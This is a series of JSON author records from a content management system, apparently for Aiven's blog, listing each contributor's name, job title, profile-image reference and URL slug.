{"_createdAt":"2022-06-14T14:41:00Z","_id":"71dK0lJi7LbaMlgdqm4MGN","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Guest writer"},"image":{"alt":"gilad-david-maayan","asset":{"_ref":"image-f1c2a36d9f869d37017ee59c979c1ed759613750-100x100-png","_type":"reference"}},"name":"Gilad David Maayan","slug":{"_type":"slug","current":"/author/gilad-david-maayan"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"209ZBK0tMgynPUghOhyqVk","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Solution Architect at Aiven"},"image":{"alt":"trevor-kennedy","asset":{"_ref":"image-655b58e821c64ff8310cda23bb8afc5fe604ab46-407x407-jpg","_type":"reference"}},"name":"Trevor Kennedy","slug":{"_type":"slug","current":"/author/trevor-kennedy"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"2HqAyFsloNhNId8CD2Rq77","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Senior Software Engineer, OSPO"},"image":{"alt":"sergey-nuyanzin","asset":{"_ref":"image-503c767d363d6f927004e4eae5afddafcbd7d414-1575x1200-jpg","_type":"reference"}},"name":"Sergey Nuyanzin","slug":{"_type":"slug","current":"/author/sergey-nuyanzin"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"3gY7BY02heuVTQu1HRmMy6","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Solutions Architect at Aiven"},"image":{"alt":"felix-wu","asset":{"_ref":"image-9c5d71dc326a8d59daa861ecdb16728343d93ba2-299x366-png","_type":"reference"}},"name":"Felix Wu","slug":{"_type":"slug","current":"/author/felix-wu"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"1LSMmyHOf3PYfMjeSGQ18R","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Head of Content at Aiven"},"image":{"alt":"joel-hiltunen","asset":{"_ref":"image-4a3d6a239f6f7df436bb16edcd20d3067b0fc86d-512x512-png","_type":"reference"}},"name":"Joel Hiltunen","slug":{"_type":"slug","current":"/author/joel-hiltunen"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"2gMdAEZfTJwRIbSW8fDJ0i","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Solution Architect at Aiven"},"image":{"alt":"chris-gwilliams","asset":{"_ref":"image-36af546dc0e2817b42556c444f5f4f599e9c0ce5-280x280-jpg","_type":"reference"}},"name":"Chris Gwilliams","slug":{"_type":"slug","current":"/author/chris-gwilliams"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"2ok23v2W1SP3fLku5nUSJ6","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Growth Marketing Specialist at Aiven"},"image":{"alt":"helena-meissner","asset":{"_ref":"image-4e970e6dfb139f26eba76950d2c48fe07ae4769f-1001x1001-jpg","_type":"reference"}},"name":"Helena Meißner","slug":{"_type":"slug","current":"/author/helena-meissner"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"2Ryrx752TTp7pQatYrn0lw","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Solution Architect at Aiven"},"image":{"alt":"david-esposito","asset":{"_ref":"image-2be71af134f57f5ff1fe534e3408b167db838037-512x512-png","_type":"reference"}},"name":"David Esposito","slug":{"_type":"slug","current":"/author/david-esposito"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"1bMDmEefhWtNoLIkrQTBSA","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Senior Software Engineer at Aiven"},"image":{"alt":"panu-kalliokoski","asset":{"_ref":"image-8632d7efdfa1d302ca6985f107570f028f8958ad-398x333-png","_type":"reference"}},"name":"Panu Kalliokoski","slug":{"_type":"slug","current":"/author/panu-kalliokoski"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"4u9AY0PiaCCkrz1PHfwCfy","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Developer Advocate"},"image":{"alt":"laysa-uchoa","asset":{"_ref":"image-4079517ada2168a342f8c69c09fd356062f942be-4908x3056-jpg","_type":"reference"}},"name":"Laysa Uchoa","slug":{"_type":"slug","current":"/author/laysa-uchoa"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"4eOoTE1EiQcR9UTalcanQG","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Staff Developer Advocate"},"image":{"alt":"floor-drees","asset":{"_ref":"image-bcc799c7711e9dd26afda6d128c13f721f03a3c0-512x512-jpg","_type":"reference"}},"name":"Floor Drees","slug":{"_type":"slug","current":"/author/floor-drees"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"5CgR9oYqHG3BdSgCehqmQt","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Staff Software Engineer at Aiven"},"image":{"alt":"rauli-ikonen","asset":{"_ref":"image-a0b3f4e21386a0f8cf265ce8f65818699588a784-205x205-jpg","_type":"reference"}},"name":"Rauli Ikonen","slug":{"_type":"slug","current":"/author/rauli-ikonen"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"244WrCx4vQESRvQpaGazre","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Enterprise Sales Director DACH at Aiven"},"image":{"alt":"jan-kirchhoff","asset":{"_ref":"image-12d2849fafc3f662e692f4f3c1e1a77f05191a99-450x450-jpg","_type":"reference"}},"name":"Jan Kirchhoff","slug":{"_type":"slug","current":"/author/jan-kirchhoff"}} {"_createdAt":"2022-11-21T11:25:08Z","_id":"76cad709-7a7b-4748-a970-0847330cc2b1","_rev":"PJutSls1mvFq6xuKwNqgOX","_type":"author","_updatedAt":"2022-11-21T11:29:40Z","bio":{"_type":"localeString","en":"Engineering Manager, OSPO"},"image":{"_type":"mainImage","alt":"Ahmed Sobeh","asset":{"_ref":"image-fe5f015198ae26c97756344f0b0c075cf675de46-512x512-png","_type":"reference"}},"name":"Ahmed Sobeh","shortName":"Ahmed Sobeh","slug":{"_type":"slug","current":"/author/ahmed-sobeh"}} {"_createdAt":"2022-11-23T08:16:14Z","_id":"495d15fb-d2b1-4a6b-a5af-44b62df3857a","_rev":"bUMlF7B1Xxw34pzcKzVMMA","_type":"author","_updatedAt":"2022-11-23T08:16:14Z","bio":{"_type":"localeString","en":"Technical Product Manager at Aiven"},"image":{"_type":"mainImage","asset":{"_ref":"image-2f4f0088a65c81a8aa1f61fe005f86d74497b6f9-512x512-png","_type":"reference"}},"name":"Rick Salevsky","shortName":"Rick","slug":{"_type":"slug","current":"/author/rick-salevsky"}} {"_createdAt":"2022-07-13T10:59:04Z","_id":"1MZuO0zrxEM76NrInmgwfj","_rev":"vDQRRYe9nRreptIRp5oJs1","_type":"author","_updatedAt":"2022-09-30T15:52:19Z","bio":{"en":"Data Engineer"},"image":{"alt":"anton-heikinheimo","asset":{"_ref":"image-d2349e026e945d79e2b6d5d69f2354a6bbe3e3a0-900x1200-jpg","_type":"reference"}},"name":"Anton Heikinheimo","slug":{"_type":"slug","current":"/author/anton-heikinheimo"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"5fYUWMm3ZG5VcjiuAbRcvr","_rev":"vDQRRYe9nRreptIRp5oJs1","_type":"author","_updatedAt":"2022-09-30T15:52:19Z","bio":{"en":"Content Marketing Specialist at Aiven"},"image":{"alt":"uliana-belonogova","asset":{"_ref":"image-10570438d915b4fe6c9050077d83af3db655368e-1866x1866-jpg","_type":"reference"}},"name":"Uliana Belonogova","slug":{"_type":"slug","current":"/author/uliana-belonogova"}} {"_createdAt":"2022-09-17T20:54:54Z","_id":"LvoXSx2wcnnIY178tIEa3","_rev":"vDQRRYe9nRreptIRp5oJs1","_type":"author","_updatedAt":"2022-09-30T15:52:19Z","bio":{"en":"Technical Product Manager"},"image":{"alt":"hoang-minh-vo","asset":{"_ref":"image-f2630692359b96a714749edd739f6a51d674a37a-601x600-jpg","_type":"reference"}},"name":"Hoang Minh Vo","slug":{"_type":"slug","current":"/author/hoang-minh-vo"}} {"_createdAt":"2023-01-10T10:32:46Z","_id":"2c0f450e-227c-4fe6-b73e-ef7eb4293774","_rev":"Y8XrsvoJ4zglb1hB5GeeuZ","_type":"author","_updatedAt":"2023-01-10T11:20:01Z","bio":{"_type":"localeString","en":"Staff Software Engineer"},"image":{"_type":"mainImage","asset":{"_ref":"image-1b6ae7629504f74e959535fff5ea5d38049563dc-387x385-png","_type":"reference"}},"name":"Alexander Olekhnovich","shortName":"Alexander","slug":{"_type":"slug","current":"/author/alexander-olekhnovich"}} {"_createdAt":"2023-01-11T06:11:20Z","_id":"1bc4318b-8f1b-4ad8-bf4f-8e696a7f2915","_rev":"Z39vf97kTT8utJKfKX406b","_type":"author","_updatedAt":"2023-01-11T06:11:43Z","bio":{"_type":"localeString","en":"Key Account Director at Aiven"},"image":{"_type":"mainImage","asset":{"_ref":"image-7f77c2aa843c57f4f5dc9f4fb92f73a9cc58b845-424x402-jpg","_type":"reference"}},"name":"Ben Laverton","slug":{"_type":"slug","current":"/author/ben-laverton"}} {"_createdAt":"2023-04-04T13:06:12Z","_id":"15aa712f-f1e5-4746-8ac5-dc53dd70a4c4","_rev":"R0WN5JQK3eK7kTFbDOqcjJ","_type":"author","_updatedAt":"2023-04-04T13:06:12Z","bio":{"_type":"localeString","en":"Senior Software Engineer at Aiven"},"image":{"_type":"mainImage","asset":{"_ref":"image-6f04c26928c39365b6a31420fb502f73820f2d54-512x512-jpg","_type":"reference"}},"name":"Murad Biashimov","slug":{"_type":"slug","current":"/author/murad-biashimov"}} {"_createdAt":"2022-11-07T08:14:11Z","_id":"d977412a-dccc-4cae-b1f6-57a4ba635139","_rev":"wKuLlvEOHLNDUP7J6GSZeU","_type":"author","_updatedAt":"2022-11-07T08:17:25Z","bio":{"_type":"localeString","en":"CTIO at James Job"},"image":{"_type":"mainImage","alt":"Nick Chiu, CTIO at James Job and contributor to the Aiven collaborators program!","asset":{"_ref":"image-2b17d30dd2d2c7f073f49b4c7c3a492ce10b2ed9-2976x2976-jpg","_type":"reference"}},"name":"Nick Chiu","shortName":"Nick Chiu","slug":{"_type":"slug","current":"/author/contributor-nick-chiu"}} {"_createdAt":"2023-04-12T11:19:31Z","_id":"af200904-2806-41f9-8278-b1104bb26d0a","_rev":"5XbIyfqcIkGlU3arGFWHnG","_type":"author","_updatedAt":"2023-04-12T11:19:31Z","bio":{"_type":"localeString","en":"Sébastien is a Developer Advocate at Aiven"},"image":{"_type":"mainImage","alt":"Portrait of Sébastien Blanc","asset":{"_ref":"image-ee1d8cae5fc0defa91ccd9c03a02d7c5061e7b74-500x750-jpg","_type":"reference"}},"name":"Sébastien Blanc ","slug":{"_type":"slug","current":"/author/sebastien-blanc"}} {"_createdAt":"2022-09-17T20:54:54Z","_id":"2acjNLjMT0JmpSV9r8dyvC","_rev":"aJQte7Rd1SiavAM6QUefRh","_type":"author","_updatedAt":"2022-12-16T08:41:35Z","bio":{"_type":"localeString","en":"Your friendly Aiven Copywriter"},"image":{"alt":"andrew-hindle","asset":{"_ref":"image-cb5628dde856557a636f4ce4e732a7bbe1f15a1a-192x192-jpg","_type":"reference"}},"name":"Andrew Hindle","slug":{"_type":"slug","current":"/author/andrew-hindle"}} {"_createdAt":"2023-03-30T07:38:53Z","_id":"1f5a7de4-2542-47c7-a37f-3205cc6fcdcf","_rev":"WEM1s63asEf3GCsZHN9T1K","_type":"author","_updatedAt":"2023-04-05T15:00:12Z","bio":{"_type":"localeString","en":"Employer Brand Lead at Aiven"},"image":{"_type":"mainImage","alt":"Ola Niechcial","asset":{"_ref":"image-b5a9f6e1165d8f3185f486511e15454ed4381051-800x800-jpg","_type":"reference"}},"name":"Ola Niechcial","shortName":"Ola","slug":{"_type":"slug","current":"/author/ola-niechcial"}} {"_createdAt":"2023-04-21T15:08:43Z","_id":"d7d54e25-0f96-4e68-88fd-bb682d5c2d67","_rev":"u7c9ZojQUJ6IzN2sdWR5Gi","_type":"author","_updatedAt":"2023-04-21T15:08:43Z","bio":{"_type":"localeString","en":"Program Manager at Aiven"},"image":{"_type":"mainImage","asset":{"_ref":"image-96eb5e31806569e3a18ea4fe494454640357fe9b-512x512-jpg","_type":"reference"}},"name":"Andra Nuta","slug":{"_type":"slug","current":"/author/andra-nuta"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"4bjROiZe7tEB4RqqZBX36k","_rev":"iIDWKhYkmLI2REfIiDQ5YZ","_type":"author","_updatedAt":"2023-03-28T13:58:31Z","bio":{"_type":"localeString","en":"Senior Director of Solution Architecture at Aiven"},"image":{"alt":"jason-hepp","asset":{"_ref":"image-ab39b73bbf8c2c9bf95e093876d55430cda575f3-205x205-png","_type":"reference"}},"name":"Jason Hepp","slug":{"_type":"slug","current":"/author/jason-hepp"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"4qffmcVsFWCkdzfsRDzQ4N","_rev":"qffnT2d9E0abhv0UYWqEer","_type":"author","_updatedAt":"2024-05-30T11:48:56Z","bio":{"en":"Developer Educator at Aiven"},"image":{"alt":"tibs-tony-ibbs","asset":{"_ref":"image-5c59a26e91b06403a6a64513cf8ea5e9fc21a9eb-2101x2101-png","_type":"reference"}},"name":"Tibs (Tony Ibbs)","shortName":"Tibs","slug":{"_type":"slug","current":"/author/tibs-tony-ibbs"}} {"_createdAt":"2023-06-21T09:57:12Z","_id":"18b2384d-a539-411b-8aab-d148082fe230","_rev":"kqzyZ7JVpCO5nNERnMfQel","_type":"author","_updatedAt":"2023-06-30T15:45:11Z","bio":{"_type":"localeString","en":"Developer Educator at Aiven"},"image":{"_type":"mainImage","alt":"Celeste Horgan","asset":{"_ref":"image-fda06c225c623279d34c2d46ac528dc133ba40d8-800x1200-jpg","_type":"reference"}},"name":"Celeste Horgan","slug":{"_type":"slug","current":"/author/celeste-horgan"}} {"_createdAt":"2023-07-21T14:03:16Z","_id":"325fa388-30e4-423e-a97b-ea5de159504a","_rev":"liXun5Qglq4dGLky9Tk2P9","_type":"author","_updatedAt":"2023-07-21T14:03:16Z","bio":{"_type":"localeString","en":"Technical Product Manager Kafka at Aiven"},"image":{"_type":"mainImage","alt":"Mischa Lieibenson, Aiven, Technical Product Manager","asset":{"_ref":"image-afa0a2f1c9cf6ef648dd673779eb8d077fe9cdc3-512x512-png","_type":"reference"}},"name":"Mischa Lieibenson","slug":{"_type":"slug","current":"/author/mischa-lieibenson"}} {"_createdAt":"2023-07-06T08:19:25Z","_id":"9458a930-7d87-42a6-9412-9c0d92077a95","_rev":"jCBYOSQQq1vHovrZNzpnrK","_type":"author","_updatedAt":"2023-07-06T08:19:25Z","bio":{"_type":"localeString","en":"Director, Production Engineering - APAC at Aiven"},"image":{"_type":"mainImage","alt":"A picture of Leon Bezuidenhout","asset":{"_ref":"image-1638de448952fb8c68f3ba0f23f5d6c52921cc87-253x256-png","_type":"reference"}},"name":"Leon Bezuidenhout","slug":{"_type":"slug","current":"/author/leon-bezuidenhout"}} {"_createdAt":"2023-11-20T09:55:25Z","_id":"fb82c695-bb6c-49c1-87f4-7dfecc3f6eb0","_rev":"CJO3e8rLk53sCEtDX16VKx","_type":"author","_updatedAt":"2024-03-27T13:49:10Z","bio":{"_type":"localeString","en":"Developer Advocate at Aiven"},"image":{"_type":"mainImage","alt":"Image of a girl with purple hair, a green shirt and a leather biker jacket named Jenn Junod","asset":{"_ref":"image-01ff00f1c4a8194377581dce126ad7dc904f0352-1025x1200-jpg","_type":"reference"}},"name":"Jenn Junod","shortName":"Jenn","slug":{"_type":"slug","current":"/author/jenn-junod"}} {"_createdAt":"2023-07-07T09:35:53Z","_id":"794a9c45-685d-4fe9-85c6-fe22532ca57c","_rev":"RDKiu78Yog1C5spl4noYBx","_type":"author","_updatedAt":"2023-07-07T09:37:54Z","bio":{"_type":"localeString","en":"Director of Community at Aiven"},"image":{"_type":"mainImage","alt":"A picture of Angie Byron","asset":{"_ref":"image-e38185a0eee5787d4ecff0e32fe8faec27a7f321-502x500-png","_type":"reference"}},"name":"Angie Byron","slug":{"_type":"slug","current":"/author/angie-byron"}} {"_createdAt":"2023-06-09T07:49:27Z","_id":"8b63e97a-d735-44c8-9851-11281a0f3e11","_rev":"Dk4vsGyYpr9Xi9g7r0B0WE","_type":"author","_updatedAt":"2023-09-11T13:02:19Z","image":{"_type":"mainImage","alt":"Florian Engel, Director, Customer Marketing at Aiven","asset":{"_ref":"image-6fd9f83965e5ff6b67348e500c7fe2754c3f6652-800x800-jpg","_type":"reference"}},"name":"Florian Engel","slug":{"_type":"slug","current":"/author/florian-engel"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"5SPKXKjdlpFtgqZE176yRN","_rev":"oVKLF5tNtw07ELMy9kvQMk","_type":"author","_updatedAt":"2023-10-16T07:49:22Z","bio":{"en":"Chief Information Security Officer at Aiven"},"image":{"alt":"james-arlen","asset":{"_ref":"image-2ce9dc63f72b09eb3dcba4d7d5998ce8a5a3d873-1000x1000-jpg","_type":"reference"}},"name":"James Arlen","slug":{"_type":"slug","current":"/author/james-arlen"}} {"_createdAt":"2024-09-09T12:34:17Z","_id":"7d07d38b-059b-4829-bd63-cb448c846ce6","_rev":"AE3hjGWNkNE6aGQMMfdAti","_type":"author","_updatedAt":"2024-09-09T12:35:32Z","bio":{"_type":"localeString","en":"VP, Global Partnerships at Aiven"},"image":{"_type":"mainImage","asset":{"_ref":"image-7a774fd0b1b7768835ba0f7f312620daf87a2eb3-420x424-png","_type":"reference"}},"name":"Elena Zykova","shortName":"Elena","slug":{"_type":"slug","current":"/author/elena-zykova"}} {"_createdAt":"2022-09-09T07:43:50Z","_id":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_rev":"cEPH2uRN58AU2lp9QOgXm5","_type":"author","_updatedAt":"2022-09-09T07:43:50Z","bio":{"_type":"localeString","en":"Director, Data Streaming Services"},"image":{"_type":"mainImage","alt":"Filip Yonov","asset":{"_ref":"image-f8ff08ad70e20f79c28f29f342fadba103642622-500x500-jpg","_type":"reference"}},"name":"Filip Yonov","slug":{"_type":"slug","current":"/author/filip-yonov"}} {"_createdAt":"2024-03-13T09:05:57Z","_id":"0698846c-82e6-426e-9319-ae955305435f","_rev":"YZDTfZCd9Sx4xq41jhNMnp","_type":"author","_updatedAt":"2024-03-13T09:05:57Z","image":{"_type":"mainImage","alt":"Daniel Ortiz","asset":{"_ref":"image-14ad653c1e05361d138ff70cfc1a592a4ef8ca0a-860x860-jpg","_type":"reference"}},"name":"Daniel Ortiz","shortName":"Daniel Ortiz","slug":{"_type":"slug","current":"/author/daniel-ortiz"}} {"_createdAt":"2022-12-07T09:17:47Z","_id":"141b1bf6-40a1-43a1-a684-b3f60b38ef20","_rev":"fuFsKkOoAJwNVpPrIJWry9","_type":"author","_updatedAt":"2022-12-07T09:17:47Z","bio":{"_type":"localeString","en":"Developer Relations Manager at Aiven"},"image":{"_type":"mainImage","asset":{"_ref":"image-502d2a62fb2b0ece34dfe306bac3b4db4d4f5432-439x437-png","_type":"reference"}},"name":"Marion Nehring","shortName":"Marion Nehring","slug":{"_type":"slug","current":"/author/marion-nehring"}} {"_createdAt":"2022-10-13T16:26:04Z","_id":"165358df-fb36-400c-a384-d0874d19dfff","_rev":"zF7BMhNhvYpWtPMfHNn0vK","_type":"author","_updatedAt":"2022-10-27T10:37:11Z","bio":{"_type":"localeString","en":"Product Marketing Manager Streaming"},"image":{"_type":"mainImage","asset":{"_ref":"image-cb007fc5ed33cf8579f754f260fe9ef5a34fdbdc-512x512-jpg","_type":"reference"}},"name":"Markos Sfikas","slug":{"_type":"slug","current":"/author/markos-sfikas"}} {"_createdAt":"2024-04-05T01:03:47Z","_id":"167bca61-78ce-412f-a44e-1495de770f99","_rev":"o6EKmUZPKElQbhROBpYEwn","_type":"author","_updatedAt":"2024-04-05T01:56:56Z","bio":{"_type":"localeString","en":"Senior Solution Architect"},"image":{"_type":"mainImage","asset":{"_ref":"image-6b78ce1cbd16d1c0b34cd6b58c7374131fd88496-989x989-jpg","_type":"reference"}},"name":"Michael Coates","shortName":"Michael Coates","slug":{"_type":"slug","current":"/author/michael-coates"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"18lKiN5RtOROLctA1YAtdZ","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Solution Architect, Pre-Sales at Aiven"},"image":{"alt":"eero-tuomikoski","asset":{"_ref":"image-02db4e892429a5cd27d40607c10d0829b85d9c80-205x205-jpg","_type":"reference"}},"name":"Eero Tuomikoski","slug":{"_type":"slug","current":"/author/eero-tuomikoski"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"1Ez1IymDDjhKg9pEyvssrK","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"VP of Marketing at Aiven"},"image":{"alt":"emma-paajanen","asset":{"_ref":"image-1c8b03bfaf903b8dab5f256e8e7aaeb24858b6a4-953x953-jpg","_type":"reference"}},"name":"Emma Paajanen","slug":{"_type":"slug","current":"/author/emma-paajanen"}} {"_createdAt":"2024-02-07T15:54:47Z","_id":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_rev":"K1w697WALr3R6LR2giG27t","_type":"author","_updatedAt":"2024-04-17T14:40:49Z","bio":{"_type":"localeString","en":"Head of Databases, Product at Aiven"},"image":{"_type":"mainImage","asset":{"_ref":"image-f3e320069d4953b4f18f2fbc40ba447ebb971f88-500x500-jpg","_type":"reference"}},"name":"John Kennedy","shortName":"John Kennedy","slug":{"_type":"slug","current":"/author/john-kennedy"}} {"_createdAt":"2023-04-19T09:40:53Z","_id":"1b250e87-9dbf-4644-8aea-ae524de84263","_rev":"t1DqkqeCST00RrkAKF0RJA","_type":"author","_updatedAt":"2023-05-02T16:41:05Z","bio":{"_type":"localeString","en":"Staff Solutions Architect at Aiven"},"image":{"_type":"mainImage","asset":{"_ref":"image-e0bc1da0b09dafb0e9ce363fa6d7fe62818da21d-800x800-jpg","_type":"reference"}},"name":"Troy Sellers","slug":{"_type":"slug","current":"/author/troy-sellers"}} {"_createdAt":"2022-10-26T07:08:10Z","_id":"1b8da1ec-b144-42b2-9889-39943155ba32","_rev":"1ia5xtI6nxgTDYFBib6vdw","_type":"author","_updatedAt":"2022-10-26T09:15:04Z","bio":{"_type":"localeString","en":"Staff Solution Architect, Pre-Sales, at Aiven"},"image":{"_type":"mainImage","asset":{"_ref":"image-d86ae4e49276f52e437adb9dd8766734c9fdc0a0-427x427-jpg","_type":"reference"}},"name":"Dave Beech","slug":{"_type":"slug","current":"/author/dave-beech"}} {"_createdAt":"2024-01-25T16:35:15Z","_id":"20be6b57-3d41-4f3b-a674-41ee77b98d4f","_rev":"VeNKqGNmt13PzvGhqnzhp6","_type":"author","_updatedAt":"2024-01-25T16:35:15Z","image":{"_type":"mainImage","alt":"Arthur Ansquer, Technical Product Manager","asset":{"_ref":"image-5fa425735966e1aa774e86bc7e58bf6d2fcbb8a2-512x512-jpg","_type":"reference"}},"name":"Arthur Ansquer","slug":{"_type":"slug","current":"/author/arthur-ansquer"}} {"_createdAt":"2023-05-30T07:29:46Z","_id":"21826e5e-978d-4861-aac3-716443cd9095","_rev":"yVtK81NbbqTTUsUfKhjdC1","_type":"author","_updatedAt":"2023-07-26T10:14:12Z","bio":{"_type":"localeString","en":"Product Director, Platform"},"image":{"_type":"mainImage","asset":{"_ref":"image-e262fbeaaa50fe4fe9ca3153a04df5f675759b8f-430x408-jpg","_type":"reference"}},"name":"Bob Krygowski","slug":{"_type":"slug","current":"/author/bob-krygowski"}} {"_createdAt":"2022-10-26T07:14:36Z","_id":"29d5c4e5-fd74-4962-b6e4-32f29f0ef75a","_rev":"ng3Sgl4Og0aUWj28DawD3s","_type":"author","_updatedAt":"2022-10-26T09:15:15Z","bio":{"_type":"localeString","en":"Solution Architect, Pre-Sales, at Aiven"},"image":{"_type":"mainImage","asset":{"_ref":"image-ee4466c9aa887afd5e0f335586ffce88bfc9c1a4-425x427-jpg","_type":"reference"}},"name":"Ryan O'Connor","slug":{"_type":"slug","current":"/author/ryan-o'connor"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"2CAEpbT3LuYkmPFk5o0m1L","_rev":"FyKybxTQXmO9mB4Bp1H6w5","_type":"author","_updatedAt":"2023-03-15T14:08:10Z","bio":{"en":"Chief Technology Officer at Aiven"},"image":{"alt":"heikki-nousiainen","asset":{"_ref":"image-c93a3f49aace022f7e4941b9613777b6e050908f-800x800-jpg","_type":"reference"}},"name":"Heikki Nousiainen","slug":{"_type":"slug","current":"/author/heikki-nousiainen"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"2uf2XkVvvlliqCRlM44ZIf","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Guest blogger"},"image":{"alt":"gigi-sayfan","asset":{"_ref":"image-eeca977bd7d60fe601f4ed9b4ca446bbf5138993-200x200-png","_type":"reference"}},"name":"Gigi Sayfan","slug":{"_type":"slug","current":"/author/gigi-sayfan"}} {"_createdAt":"2022-09-30T15:52:16Z","_id":"3CMp6swW2L6wlHhqp57gWe","_rev":"VrdcoLtXxUWed6PHr8qpy2","_type":"author","_updatedAt":"2022-12-09T16:03:12Z","bio":{"en":"Staff Software Engineer at Aiven"},"image":{"alt":"muralidhar-basani","asset":{"_ref":"image-2fc589ac6ba7dc6c6df7e5100382001755b77173-628x628-jpg","_type":"reference"}},"name":"Muralidhar Basani","slug":{"_type":"slug","current":"/author/muralidhar-basani"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"3UGFZYFBoYjMPg7DR9R9YZ","_rev":"70bM5v708uTTBntrbCJloP","_type":"author","_updatedAt":"2022-11-02T16:20:05Z","bio":{"_type":"localeString","en":"Senior Developer Advocate at Aiven"},"image":{"alt":"olena-kutsenko","asset":{"_ref":"image-34447c633d5a1f7e463ff9cfb8839e6f2fc59d6b-205x226-jpg","_type":"reference"}},"name":"Olena Kutsenko","slug":{"_type":"slug","current":"/author/olena-kutsenko"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"3djUG8boecQVsBzgbh9hC3","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Head of Alliances at Lenses.io"},"image":{"alt":"olivier-de-garrigues","asset":{"_ref":"image-dc61c3a20ccfdd53bcdff446e56d263dfce85fe0-205x205-jpg","_type":"reference"}},"name":"Olivier de Garrigues","slug":{"_type":"slug","current":"/author/olivier-de-garrigues"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"3gXeb4zb5wJU5CvLnVioH","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Developer Advocate at Aiven"},"image":{"alt":"lorna-mitchell","asset":{"_ref":"image-998fef21ab4315cedf2858c142a9220016a8332f-512x512-png","_type":"reference"}},"name":"Lorna Mitchell","slug":{"_type":"slug","current":"/author/lorna-mitchell"}} {"_createdAt":"2022-10-27T09:19:30Z","_id":"496dfbad-f06f-469f-8658-d40fc51b4324","_rev":"BDft35C6A1a5s0Kr21DpiH","_type":"author","_updatedAt":"2022-10-27T10:37:50Z","bio":{"_type":"localeString","en":"Director of Product Marketing"},"image":{"_type":"mainImage","alt":"Mikko Röntynen, Director of Product Marketing","asset":{"_ref":"image-72e4ac971b6ec9b7e3984a5043e7b67c4b264ab2-347x348-png","_type":"reference"}},"name":"Mikko Röntynen","slug":{"_type":"slug","current":"/author/mikko-rontynen"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"4DjXzyNMHRsU8hEQ2fIG4i","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Developer Advocate at Aiven"},"image":{"alt":"john-hammink","asset":{"_ref":"image-2da298493e9e594b2c43286ab13bb4ee4e76cb9b-205x205-jpg","_type":"reference"}},"name":"John Hammink","slug":{"_type":"slug","current":"/author/john-hammink"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"4nf1QwJnNR1cufhRrTPLU","_rev":"iXZJY95zKUl2We0EvbKBUI","_type":"author","_updatedAt":"2022-10-04T13:59:51Z","bio":{"en":"Written by the Aiven team"},"image":{"alt":"crabby","asset":{"_ref":"image-59fc15e2411f53603ab84861286cc3b3eff054c8-205x205-png","_type":"reference"}},"name":"Crabby","slug":{"_type":"slug","current":"/author/crabby"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"54fMhjUQokPWcDkpCqDl2l","_rev":"FyKybxTQXmO9mB4Bp1G1qo","_type":"author","_updatedAt":"2023-03-15T14:02:00Z","bio":{"en":"Employee Experience Specialist at Aiven"},"image":{"alt":"sanna-putila","asset":{"_ref":"image-db772a0a2f466e9a7ecd868fe6743132364e7ad4-800x800-jpg","_type":"reference"}},"name":"Sanna Putila","slug":{"_type":"slug","current":"/author/sanna-putila"}} 